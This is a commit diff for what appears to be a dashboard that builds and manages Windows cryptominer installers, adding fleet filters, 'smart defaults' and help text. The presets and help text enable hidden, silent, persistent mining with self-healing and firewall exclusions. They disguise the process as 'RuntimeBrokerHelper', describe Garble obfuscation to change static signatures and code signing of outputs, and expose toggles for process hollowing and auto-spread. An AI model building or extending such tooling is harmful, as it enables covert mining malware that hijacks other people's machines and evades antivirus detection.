Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
53
server/web/src/help/fleetFilters.test.ts
Normal file
53
server/web/src/help/fleetFilters.test.ts
Normal file
@@ -0,0 +1,53 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { agentNeedsAttention, agentSubnet, filterFleetAgents } from './fleetFilters';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
const base = (over: Partial<Agent>): Agent => ({
|
||||
id: '1',
|
||||
name: 'w1',
|
||||
wallet: '',
|
||||
ip: '192.168.1.10',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 5000,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
tags: ['lab'],
|
||||
...over,
|
||||
});
|
||||
|
||||
const DEFAULT = {
|
||||
search: '',
|
||||
tag: '',
|
||||
subnet: '',
|
||||
hashrateMin: 0,
|
||||
needsAttention: false,
|
||||
};
|
||||
|
||||
describe('fleetFilters', () => {
|
||||
it('filters by tag and subnet', () => {
|
||||
const agents = [base({}), base({ id: '2', ip: '10.0.0.2', tags: [] })];
|
||||
expect(filterFleetAgents(agents, { ...DEFAULT, tag: 'lab' }).length).toBe(1);
|
||||
expect(filterFleetAgents(agents, { ...DEFAULT, subnet: '192.168.1.x' }).length).toBe(1);
|
||||
});
|
||||
|
||||
it('flags offline as needs attention', () => {
|
||||
expect(agentNeedsAttention(base({ status: 'offline' }))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('agentSubnet', () => {
|
||||
it('masks last octet', () => {
|
||||
expect(agentSubnet('192.168.5.22')).toBe('192.168.5.x');
|
||||
});
|
||||
});
|
||||
95
server/web/src/help/fleetFilters.ts
Normal file
95
server/web/src/help/fleetFilters.ts
Normal file
@@ -0,0 +1,95 @@
|
||||
import type { Agent } from '../types';
|
||||
|
||||
export interface FleetFilterState {
|
||||
search: string;
|
||||
tag: string;
|
||||
subnet: string;
|
||||
hashrateMin: number;
|
||||
needsAttention: boolean;
|
||||
}
|
||||
|
||||
export const DEFAULT_FLEET_FILTERS: FleetFilterState = {
|
||||
search: '',
|
||||
tag: '',
|
||||
subnet: '',
|
||||
hashrateMin: 0,
|
||||
needsAttention: false,
|
||||
};
|
||||
|
||||
export function agentSubnet(ip: string): string {
|
||||
const parts = (ip || '').trim().split('.');
|
||||
if (parts.length >= 3) return `${parts[0]}.${parts[1]}.${parts[2]}.x`;
|
||||
return ip || 'unknown';
|
||||
}
|
||||
|
||||
export function agentRejectRate(agent: Agent): number {
|
||||
if (agent.shares_total <= 0) return 0;
|
||||
return (agent.shares_bad / agent.shares_total) * 100;
|
||||
}
|
||||
|
||||
export function agentNeedsAttention(agent: Agent): boolean {
|
||||
if (agent.status !== 'online') return true;
|
||||
if (agentRejectRate(agent) >= 5 && agent.shares_total >= 10) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
export function agentIsIdleMiner(agent: Agent): boolean {
|
||||
return agent.status === 'online' && agent.hashrate_15m < 100;
|
||||
}
|
||||
|
||||
export function collectFleetTags(agents: Agent[]): string[] {
|
||||
const set = new Set<string>();
|
||||
for (const a of agents) {
|
||||
for (const t of a.tags || []) {
|
||||
const clean = t.trim();
|
||||
if (clean) set.add(clean);
|
||||
}
|
||||
}
|
||||
return [...set].sort((a, b) => a.localeCompare(b));
|
||||
}
|
||||
|
||||
export function collectFleetSubnets(agents: Agent[]): string[] {
|
||||
const set = new Set<string>();
|
||||
for (const a of agents) {
|
||||
set.add(agentSubnet(a.ip));
|
||||
}
|
||||
return [...set].sort();
|
||||
}
|
||||
|
||||
export function filterFleetAgents(agents: Agent[], filters: FleetFilterState): Agent[] {
|
||||
const q = filters.search.trim().toLowerCase();
|
||||
return agents.filter((a) => {
|
||||
if (filters.needsAttention && !agentNeedsAttention(a)) return false;
|
||||
if (filters.tag && !(a.tags || []).includes(filters.tag)) return false;
|
||||
if (filters.subnet && agentSubnet(a.ip) !== filters.subnet) return false;
|
||||
if (filters.hashrateMin > 0 && a.hashrate_15m < filters.hashrateMin) return false;
|
||||
if (q) {
|
||||
const hay = [
|
||||
a.name,
|
||||
a.ip,
|
||||
a.notes || '',
|
||||
...(a.tags || []),
|
||||
a.id,
|
||||
]
|
||||
.join(' ')
|
||||
.toLowerCase();
|
||||
if (!hay.includes(q)) return false;
|
||||
}
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
export function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
export function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
@@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'always',
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
@@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
};
|
||||
|
||||
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
const publicUrl = config.server?.public_url?.trim();
|
||||
const srv = config.server;
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
worker_name: '',
|
||||
@@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
obfuscate: srv?.obfuscate_default ?? false,
|
||||
sign_build: srv?.sign_enabled ?? false,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -157,6 +157,15 @@ export function applyForgeFieldUpdate(
|
||||
}
|
||||
break;
|
||||
|
||||
case 'worker_name':
|
||||
if (typeof value === 'string' && value.trim()) {
|
||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||
next.process_name = proc;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
if (value === true && next.pool_port === 3333) {
|
||||
// common pools use 443 for TLS — warn in preflight, don't auto-change port
|
||||
|
||||
26
server/web/src/help/forgeSmartDefaults.test.ts
Normal file
26
server/web/src/help/forgeSmartDefaults.test.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { pickBestServerUrl, suggestWorkerName, applySmartForgeDefaults } from './forgeSmartDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
describe('forgeSmartDefaults', () => {
|
||||
it('suggests next worker-N name', () => {
|
||||
expect(suggestWorkerName([{ worker_name: 'worker-1' } as any])).toBe('worker-2');
|
||||
});
|
||||
|
||||
it('picks LAN url over localhost', () => {
|
||||
expect(
|
||||
pickBestServerUrl('http://localhost:8989', ['http://192.168.1.5:8989'])
|
||||
).toBe('http://192.168.1.5:8989');
|
||||
});
|
||||
|
||||
it('fills worker and process name', () => {
|
||||
const form = applySmartForgeDefaults(
|
||||
{ worker_name: '', server_url: '' } as BuildRequest,
|
||||
{ endpointCandidates: ['http://10.0.0.2:8989'] }
|
||||
);
|
||||
expect(form.worker_name).toMatch(/^worker-/);
|
||||
expect(form.process_name).toBeTruthy();
|
||||
expect(form.server_url).toBe('http://10.0.0.2:8989');
|
||||
expect(form.mining_mode).toBe('idle');
|
||||
});
|
||||
});
|
||||
125
server/web/src/help/forgeSmartDefaults.ts
Normal file
125
server/web/src/help/forgeSmartDefaults.ts
Normal file
@@ -0,0 +1,125 @@
|
||||
import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import { lanEndpointCandidates } from './endpointHelpers';
|
||||
|
||||
const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/;
|
||||
|
||||
/** Suggested unique worker label for the next forge. */
|
||||
export function suggestWorkerName(existing: BuildRecord[]): string {
|
||||
const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean));
|
||||
for (let i = 1; i <= 999; i++) {
|
||||
const name = `worker-${i}`;
|
||||
if (!used.has(name)) return name;
|
||||
}
|
||||
return `worker-${Date.now().toString(36)}`;
|
||||
}
|
||||
|
||||
function sanitizeProcessName(workerName: string): string {
|
||||
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
return cleaned || 'RuntimeBrokerHelper';
|
||||
}
|
||||
|
||||
function isGoodServerUrl(url: string): boolean {
|
||||
try {
|
||||
const u = new URL(url.trim());
|
||||
const host = u.hostname.toLowerCase();
|
||||
return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1';
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/** Pick the best control-server URL for workers on the LAN. */
|
||||
export function pickBestServerUrl(current: string, candidates: string[]): string {
|
||||
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
|
||||
const first = candidates.find(isGoodServerUrl);
|
||||
return first || current?.trim() || '';
|
||||
}
|
||||
|
||||
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
|
||||
export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
mining_mode: 'idle',
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
display_mode: 'background',
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
adapt_to_hardware: true,
|
||||
firewall_exclusion: true,
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
ai_enabled: false,
|
||||
fusion_enabled: false,
|
||||
output_dir: 'exports',
|
||||
};
|
||||
}
|
||||
|
||||
export interface SmartDefaultsContext {
|
||||
builds?: BuildRecord[];
|
||||
endpointCandidates?: string[];
|
||||
}
|
||||
|
||||
/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */
|
||||
export function applySmartForgeDefaults(
|
||||
form: BuildRequest,
|
||||
ctx: SmartDefaultsContext = {}
|
||||
): BuildRequest {
|
||||
const preset = recommendedForgePreset();
|
||||
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
|
||||
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
|
||||
|
||||
return {
|
||||
...form,
|
||||
...preset,
|
||||
worker_name: worker,
|
||||
server_url: serverUrl,
|
||||
wallet: form.wallet?.trim() || form.wallet,
|
||||
pool_host: form.pool_host || preset.pool_host!,
|
||||
pool_port: form.pool_port || preset.pool_port!,
|
||||
pool_tls: form.pool_tls ?? preset.pool_tls!,
|
||||
pool_pass: form.pool_pass || preset.pool_pass!,
|
||||
process_name: sanitizeProcessName(worker),
|
||||
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
|
||||
sign_build: form.sign_build ?? preset.sign_build ?? false,
|
||||
};
|
||||
}
|
||||
|
||||
export function forgeDefaultsFromServerSmart(
|
||||
config: ServerConfig,
|
||||
serverInfo: ServerInfo,
|
||||
builds: BuildRecord[] = []
|
||||
): BuildRequest {
|
||||
const publicUrl = config.server?.public_url?.trim();
|
||||
const srv = config.server;
|
||||
const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port);
|
||||
const base: BuildRequest = {
|
||||
...recommendedForgePreset(),
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
obfuscate: srv?.obfuscate_default ?? false,
|
||||
sign_build: srv?.sign_enabled ?? false,
|
||||
} as BuildRequest;
|
||||
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
|
||||
}
|
||||
|
||||
export const RECOMMENDED_DEFAULTS_BLURB =
|
||||
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
|
||||
|
||||
export function isValidWorkerName(name: string): boolean {
|
||||
const t = name.trim();
|
||||
return t.length > 0 && WORKER_NAME_RE.test(t);
|
||||
}
|
||||
@@ -1,24 +1,46 @@
|
||||
export const SETUP_CHEATSHEET = [
|
||||
{
|
||||
title: '1. Calibrate the server',
|
||||
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
|
||||
title: '1. Calibrate once',
|
||||
body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
|
||||
},
|
||||
{
|
||||
title: '2. Forge your installer',
|
||||
body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
|
||||
title: '2. Forge (Simple mode)',
|
||||
body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
|
||||
},
|
||||
{
|
||||
title: '3. Deploy',
|
||||
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
|
||||
body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
|
||||
},
|
||||
{
|
||||
title: '4. Command Deck',
|
||||
body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
|
||||
title: '4. Watch the fleet',
|
||||
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
|
||||
},
|
||||
];
|
||||
|
||||
export const FIELD_HELP: Record<string, string> = {
|
||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
|
||||
calibrate_wallet:
|
||||
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
|
||||
calibrate_quick_setup:
|
||||
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
|
||||
forge_simple_mode:
|
||||
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
|
||||
forge_recommended_defaults:
|
||||
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
|
||||
obfuscate:
|
||||
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
|
||||
sign_build:
|
||||
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
|
||||
obfuscate_default:
|
||||
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
|
||||
sign_enabled:
|
||||
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
|
||||
sign_cert_thumbprint:
|
||||
'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
|
||||
sign_tool_path:
|
||||
'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
|
||||
sign_timestamp_url:
|
||||
'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
|
||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
|
||||
server_url:
|
||||
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
|
||||
output_dir:
|
||||
|
||||
Reference in New Issue
Block a user